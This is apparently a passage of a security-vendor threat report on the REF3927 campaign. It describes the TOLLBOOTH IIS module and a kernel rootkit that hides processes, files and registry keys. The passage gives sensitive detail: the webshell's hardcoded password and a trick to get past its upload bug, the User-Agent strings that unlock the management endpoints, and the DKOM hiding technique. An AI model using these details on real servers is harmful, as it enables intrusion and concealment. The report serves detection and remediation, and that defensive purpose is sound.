<h4>Registering object manager callback with (ObRegisterCallbacks)</h4>
<p>This hook registers the <code>ProcessPreCallback</code> and <code>ThreadPreCallback</code> functions. The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-object-manager">kernel's Object Manager</a> executes this code before it completes any request to create or duplicate a handle to a process or thread.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image30.png" alt="Rootkit registering process and thread precallbacks" title="Rootkit registering process and thread precallbacks" /></p>
<p>When a process tries to get a handle on another process, the callback function <code>ProcessPreCallback</code> is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to <code>SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION</code>.</p>
<p>This will ensure that processes cannot interact with/inspect, or kill the protected process.</p>
<p>The same mechanism applies to threads.</p>
<h4>Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)</h4>
<p>The rootkit registers a callback with the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex"><code>PsSetCreateProcessNotifyRoutineEx</code></a> API on process creation. When a new process is launched, this callback runs a function <code>CheckProcessFlags</code> that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its <code>excluded</code>, <code>protected</code>, and <code>hidden</code> flags accordingly.</p>
<p>Behavior based on flags:</p>
<ul>
<li><strong>Excluded</strong>
<ul>
<li>The rootkit will ignore the process and just let it run as expected.</li>
</ul>
</li>
<li><strong>Protected</strong>
<ul>
<li>The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in <code>ProcessPreCallback</code>.</li>
</ul>
</li>
<li><strong>Hidden</strong>
<ul>
<li>The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a <code>postponeHiding</code> flag that will be explained below.</li>
</ul>
</li>
</ul>
<h4>The Image Load callback (PsSetLoadImageNotifyRoutine)</h4>
<p>This registers the <code>LoadProcessImageNotifyCallback</code> using <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine"><code>PsSetLoadImageNotifyRoutine</code></a>, which the kernel calls whenever an executable image (a <code>.exe</code> or <code>.dll</code>) is loaded into a process's memory.</p>
<p>When the image is loaded, the callback checks the <code>postponeHiding</code> flag; if set, it calls <code>UnlinkProcessFromCidTable</code> to remove it from the master process ID table (<code>PspCidTable</code>).</p>
<h3>InitializeFSMiniFilter</h3>
<p>The function defines its capabilities in the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/ns-fltkernel-_flt_registration"><code>FilterRegistration structure(FLT_REGISTRATION)</code></a>. This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-create"><code>IRP_MJ_CREATE</code></a>: Intercepts any attempt to open or create a file or directory.</li>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-directory-control"><code>IRP_MJ_DIRECTORY_CONTROL</code></a>: Intercepts any attempt to list the contents of a directory.</li>
</ul>
<h4>FltCreatePreOperation(IRP_MJ_CREATE)</h4>
<p>This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to <code>STATUS_NO_SUCH_FILE</code>, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.</p>
<h4>FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)</h4>
<p>This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.</p>
<h3>InitializeRegistryFilter</h3>
<p>After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The <code>InitializeRegistryFilter</code> function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.</p>
<p>It registers a callback using the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-cmregistercallbackex"><code>CmRegisterCallbackEx</code></a> API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status <code>STATUS_NOT_FOUND</code>.</p>
<h3>InitializeDevice</h3>
<p>The <code>InitializeDevice</code> function does the driver initialization needed, and it sets up an <a href="https://learn.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-"><code>IOCTL communication</code></a> so that the userland application can communicate with it directly</p>
<p>The following is a table describing each IOCTL command handled by the driver.</p>
<table>
<thead>
<tr>
<th>IOCTL command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>HID_IOCTL_SET_DRIVER_STATE</code></td>
<td>Soft enable/disable the rootkit functionalities by setting a global state flag that acts as a master on/off switch.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_DRIVER_STATE</code></td>
<td>Retrieve the current state of the rootkit (enabled/disabled).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_HIDDEN_OBJECT</code></td>
<td>Adds a new rule to hide a specific file, directory, registry key, or value.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_HIDDEN_OBJECT</code></td>
<td>Removes a single hiding rule by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_HIDDEN_OBJECTS</code></td>
<td>Remove all hidden objects for a specific object type(registry keys/values, files, directories).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_OBJECT</code></td>
<td>Adds a new rule to automatically hide, protect, or exclude a process based on its image path.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_OBJECT_STATE</code></td>
<td>Queries the current state (hidden, protected, or excluded) of a specific running process by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_SET_OBJECT_STATE</code></td>
<td>This command modifies the state (hidden, protected, or excluded) of a specific running process, identified by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_OBJECT</code></td>
<td>Removes a single process rule (hide, protect, or exclude) by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_OBJECTS</code></td>
<td>This command clears all process states and image rules of a specific type.</td>
</tr>
</tbody>
</table>
<h3>InitializeStealthMode</h3>
<p>After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: <code>InitializeStealthMode</code>. If the configuration flag <code>Kbj_YinshenMode</code> is enabled, it will hide every artifact associated with the rootkit, including registry keys, the <code>.sys</code> file, and other related components, using the same techniques described above.</p>
<h3>Code Variations</h3>
<p>While the malware is heavily based on the <code>HIDDENDRIVER</code> source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.</p>
<p>The original code in the <code>IsProcessExcluded</code> function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image20.png" alt="Difference between “Hidden” and the rootkit function IsProcessExcluded" title="Difference between “Hidden” and the rootkit function IsProcessExcluded" /></p>
<p>The original code's callback for filtering system information (including files, directories, and registries) used the <code>IsDriverEnabled</code> function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image28.png" alt="“Hidden” source code: FltDirCtrlPostOperation callback" title="“Hidden” source code: FltDirCtrlPostOperation callback" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image11.png" alt="“Hidden” source code: PsGetProcessImageFileName usage" title="“Hidden” source code: PsGetProcessImageFileName usage" /></p>
<h2>RMM usage</h2>
<p>The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (<code>80</code>/<code>443</code>) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image25.png" alt="gotohttp[.]com landing page" title="gotohttp[.]com landing page" /></p>
<p>RMMs continue to <a href="https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice">increase in popularity</a> for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.</p>
<p>Blocking the <a href="https://github.com/magicsword-io/LOLRMM/tree/main/detections/sigma">mass of currently active RMMs</a> and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.</p>
<h2>IIS module analysis</h2>
<p>The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by <a href="https://asec.ahnlab.com/en/87804/">Ahnlab</a> and the security researcher, <a href="https://x.com/AzakaSekai_/status/1969294757978652947">@Azaka</a>. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.</p>
<h3>Malware Config Structure</h3>
<p>TOLLBOOTH retrieves its configuration dynamically from <code>hxxps://c[.]cseo99[.]com/config/&lt;victim_HTTP_host_value&gt;.json,</code> and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, <code>hxxps://c[.]cseo99[.]com/config/127.0.0.1.json</code> responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this <a href="https://gist.github.com/jiayuchann/b785e1f3960fa26923d821b7e93e2e94">GitHub Gist</a>, and we will reference how some of the fields are used as appropriate.</p>
<p>For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code>. For the managed module, these are AES-encrypted with key <code>YourSecretKey123</code> and IV <code>0123456789ABCDEF</code>, Gzip-compressed, and stored at <code>C:\\Windows\\Temp\\AcpLogs\\</code>.</p>
<h3>Webshell</h3>
<p>TOLLBOOTH exposes a webshell at the <code>/mywebdll</code> path, requiring a password of <code>hack123456!</code> for file uploads and execution of commands. Form submission sends a <code>POST</code> request to the <code>/scjg</code> endpoint.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image17.png" alt="Webshell interface" title="Webshell interface" /></p>
<p>The password is hardcoded in the binary, and this webshell feature is present in both <code>v1.6.0</code> and <code>v1.6.1</code> of the native version of TOLLBOOTH.</p>
<p>The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of <code>multipart/form-data</code> fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the <code>multipart/form-data</code> parts, a successful file upload can still be triggered.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image12.png" alt="File upload PoC" title="File upload PoC" /></p>
<h3>Management Channel</h3>
<p>TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):</p>
<pre><code class="language-text">Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;
</code></pre>
<p>The <code>/health</code> endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at <code>c[.]cseo99[.]com</code>, disk space information, the module's installation path, and the version of TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image8.png" alt="Health endpoint response" title="Health endpoint response" /></p>
<p>The <code>/debug</code> endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image31.png" alt="/debug content" title="/debug content" /></p>
<p>The parsed configuration is accessible at <code>/conf</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image24.png" alt="/conf content" title="/conf content" /></p>
<p>The <code>/clean</code> endpoint allows the operator to clear the current configuration by deleting the config files stored locally (<code>clean?type=conf</code>) in order to update them on the victim server, clear any other temporary caches the malware uses (<code>clean?type=conf</code>), or clear both - everything in the <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code> path (<code>clean?type=all</code>).</p>
<h3>SEO Cloaking</h3>
<p>The main goal of TOLLBOOTH is <a href="https://support.google.com/adspolicy/answer/15938075?sjid=10977824559696952423-NC#Cloaking">SEO cloaking</a>, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.</p>
<p>TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.</p>
<p>Both the native and the managed modules are implemented almost identically. The only difference is that native modules <code>v1.6.0</code> and <code>v1.6.1</code> check both the User Agent and Referer against the <code>seoGroupRefererMatchRules</code> list, and the .NET module <code>v1.6.1</code> checks the User Agent against the <code>seoGroupUaMatchRules</code> list and Referer against the <code>seoGroupRefererMatchRules</code> list.</p>
<p>Based on the current configuration, the values for <code>seoGroupUaMatchRules</code> and <code>seoGroupRefererMatchRules</code> are <code>googlebot</code> and <code>google</code>, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both <code>bing</code> and <code>yahoo</code> suggests that those search engines were targeted in the past as well.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image29.png" alt="Functions and fallback lists for User Agent and Referer checks" title="Functions and fallback lists for User Agent and Referer checks" /></p>
<p>The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image23.png" alt="Function for generating page that links to SEO content" title="Function for generating page that links to SEO content" /></p>
<p>The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the <code>affLinkMainWordSeoResArr</code> configuration field. For each keyword, it generates a &quot;local link&quot; pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving &quot;affiliate link resources&quot; from the <code>affLinkSeoResArr</code> field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as <a href="https://en.wikipedia.org/wiki/Link_farm">link farming</a>, is designed to artificially inflate search engine rankings across the entire network of compromised sites.</p>
<p>Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image4.png" alt="Visiting the landing page with User Agent “google”" title="Visiting the landing page with User Agent “google”" /></p>
<p>URL path prefixes to the SEO pages contain words or phrases from the <code>seoGroupUrlMatchRules</code> config field. This is also referenced in the site redirection logic targeting visitors. These are currently:</p>
<ul>
<li><code>stock</code></li>
<li><code>invest</code></li>
<li><code>summary</code></li>
<li><code>datamining</code></li>
<li><code>market-outlook</code></li>
<li><code>bullish-on</code></li>
<li><code>news-overview</code></li>
<li><code>news-volatility</code></li>
<li><code>video/</code></li>
<li><code>app/</code></li>
<li><code>blank/</code></li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image32.png" alt="Example local links" title="Example local links" /></p>
<p>Templates and content for SEO pages are also externally retrieved from URIs that look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the config. Here is an example of what one of the SEO pages looks like:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image5.png" alt="Example SEO page" title="Example SEO page" /></p>
<p>For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to <code>hxxps://api[.]aseo99[.]com/client/landpage</code>. If the request is successful, the server responds with a JSON object containing a specific <code>landpageUrl</code>, which becomes the destination for the redirect.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image18.png" alt="Requesting for page to redirect to" title="Requesting for page to redirect to" /></p>
<p>If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (<code>window.location.href</code>) and sent to the victim’s browser, forcing an immediate redirection.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image26.png" alt="Fallback request for the page to redirect to" title="Fallback request for the page to redirect to" /></p>
<h3>Page Hijacker</h3>
<p>For the native modules, if the URI path contains <code>xlb</code>, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, <code>mlxya[.]oss-accelerate[.]aliyuncs[.]com/&lt;12_random_alphanumeric_characters&gt;</code>, which is used to retrieve an obfuscated next-stage JavaScript payload.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image27.png" alt="Random characters appended to domain hosting JS payload" title="Random characters appended to domain hosting JS payload" /></p>
<p>The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., <code>xlbh</code>, <code>mxlb</code>) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at <code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href=</code> or <code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=</code>, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses <code>document.write()</code> to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image19.png" alt="Deobfuscated page hijacker payload" title="Deobfuscated page hijacker payload" /></p>
<h2>Campaign targeting</h2>
<p>While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.</p>
<p>We then partnered with <a href="https://x.com/SreekarMad">@SreekarMad</a> at <a href="https://www.validin.com/">Validin</a> to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.</p>
<p>At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image2.png" alt="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" title="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" /></p>
<p>These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.</p>
<p>The collaboration with Validin and Texas A&amp;M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image21.png" alt="Metadata collected from an additional victim" title="Metadata collected from an additional victim" /></p>
<p>Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.</p>
<p>Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.</p>
<p>Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.</p>
<h3>Geography</h3>
<p>The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a <code>.co.uk</code> domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.</p>
<h3>Diamond model</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/tollbooth/image22.png" alt="REF3927 Diamond Model" title="REF3927 Diamond Model" /></p>
<h2>Remediating REF3927</h2>
<p>Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.</p>
<p>Therefore, remediation must include rotation of machine keys to a new, <a href="https://support.winhost.com/kb/a1623/how-to-generate-a-machine-key-in-iis-manager.aspx">properly generated</a> key.</p>
<h2>Conclusion</h2>
<p>The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&amp;M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.</p>
<p>The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as <a href="https://www.elastic.co/de/security/endpoint-security">Elastic Defend</a> during potential incidents.</p>
<h2>Detection logic</h2>
<h3>Detection rules</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_webshell_detection.toml">Web Shell Detection: Script Process Child of Common Web Processes</a></li>
</ul>
<h3>Prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Services</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_shellcode_injection_via_a_webshell.toml">Potential Shellcode Injection via a WebShell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_execution_from_suspicious_directory.toml">Execution from Suspicious Directory</a></li>
</ul>
<h4>YARA signatures</h4>
<p>Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Tollbooth.yar">Windows.Trojan.Tollbooth</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenCli.yar">Windows.Trojan.HiddenCli</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenDriver.yar">Windows.Trojan.HiddenDriver</a></li>
</ul>
<h2>REF3927 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/">OS Credential Dumping</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1014/">Rootkit</a></li>
<li><a href="https://attack.mitre.org/techniques/T1078/">Valid Accounts</a></li>
</ul>
<h2>Observations</h2>
<p>The following <a href="https://github.com/elastic/labs-releases/tree/main/indicators/tollbooth">observables</a> were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>913431f1d36ee843886bb052bfc89c0e5db903c673b5e6894c49aabc19f1e2fc</code></td>
<td>SHA-256</td>
<td><code>WingtbCLI.exe</code></td>
<td>HIDDENCLI</td>
</tr>
<tr>
<td><code>f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1</code></td>
<td>SHA-256</td>
<td><code>Winkbj.sys</code></td>
<td>HIDDENDRIVER</td>
</tr>
<tr>
<td><code>c1ca053e3c346513bac332b5740848ed9c496895201abc734f2de131ec1b9fb2</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c348996e27fc14e3dce8a2a476d22e52c6b97bf24dd9ed165890caf88154edd2</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>82b7f077021df9dc2cf1db802ed48e0dec8f6fa39a34e3f2ade2f0b63a1b5788</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>bd2de6ca6c561cec1c1c525e7853f6f73bf6f2406198cd104ecb2ad00859f7d3</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>915441b7d7ddb7d885ecfe75b11eed512079b49875fc288cd65b023ce1e05964</code></td>
<td>SHA-256</td>
<td><code>CustomIISModule.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c[.]cseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH config server</td>
</tr>
<tr>
<td><code>f[.]fseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH SEO farming config server</td>
</tr>
<tr>
<td><code>api[.]aseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH crawler reporting &amp; page redirector API</td>
</tr>
<tr>
<td><code>mlxya[.]oss-accelerate.aliyuncs[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker payload hosting server</td>
</tr>
<tr>
<td><code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp.run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>bae5a7722814948fbba197e9b0f8ec5a6fe8328c7078c3adcca0022a533a84fe</code></td>
<td>SHA-256</td>
<td><code>1.aspx</code></td>
<td>Godzilla-forked webshell (Similar sample from VirusTotal)</td>
</tr>
<tr>
<td><code>230b84398e873938bbcc7e4a1a358bde4345385d58eb45c1726cee22028026e9</code></td>
<td>SHA-256</td>
<td><code>GotoHTTP.exe</code></td>
<td>GotoHTTP</td>
</tr>
<tr>
<td><code>Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</code></td>
<td>User-Agent</td>
<td></td>
<td>User-Agent observed during exploitation via IIS ViewState injection</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/</a></li>
<li><a href="https://asec.ahnlab.com/en/87804/">https://asec.ahnlab.com/en/87804/</a></li>
<li><a href="https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/">https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/</a></li>
<li><a href="https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters">https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters</a></li>
